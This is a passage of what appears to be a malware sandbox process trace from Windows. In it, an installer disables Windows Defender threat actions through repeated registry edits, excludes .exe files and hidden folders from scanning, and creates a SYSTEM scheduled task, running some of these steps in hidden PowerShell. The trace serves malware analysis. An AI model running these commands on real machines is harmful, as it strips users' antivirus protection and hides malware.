        
        PID:5796
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn biPxHmULFllsbMgnpt
        7⤵
        
        PID:3556
- - C:\Users\Admin\Pictures\ifj3S8rflF04aVK3fN7ailbh.exe
    "C:\Users\Admin\Pictures\ifj3S8rflF04aVK3fN7ailbh.exe"
    3⤵
    PID:4336
  - - C:\Users\Admin\AppData\Local\Temp\7zS821C.tmp\Install.exe
      .\Install.exe /WkfdidVYT "385118" /S
      4⤵
      PID:5828
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:1364
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:6020
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:5700
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:5192
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:3852
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:4108
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:4724
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:5012
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:4792
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:3116
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:3188
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:4204
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:5048
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:5508
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:5888
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1676
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:5176
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:6100
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:3528
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2920
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:3652
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 22:20:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS821C.tmp\Install.exe\" Wt /Gzrdidwysi 385118 /S" /V1 /F
        5⤵
        Creates scheduled task(s)
        
        PID:5192
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
        5⤵
        
        PID:4284
      - C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn biPxHmULFllsbMgnpt
        6⤵
        
        PID:3188
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn biPxHmULFllsbMgnpt
        7⤵
        
        PID:4876
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
  2⤵
  PID:5084

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5068

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:6032

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:5660

C:\Users\Admin\AppData\Local\Temp\7zSF7C.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zSF7C.tmp\Install.exe Wt /aTzdidSvwJ 385118 /S
1⤵
PID:5968
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:2212
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:1964
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:5148
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:4960
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:5484
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:4576
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:1424
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:4792
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:5012
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:3868
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:2324
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:4364
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:3116
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:2064
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:1204
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5176
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:6016
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:4604
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5408
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:5316
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:852
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1008
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6040
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5380
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2272
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5152
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4876
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5928
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1888
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5692
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5992
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:792
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4356
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:796
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5160
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:664
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5844
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5852
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5976
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4336
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3456
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4996
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:516
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3556
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5352
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3672
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:5492
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1760
  - - C:\Windows\SysWOW64\reg.exe
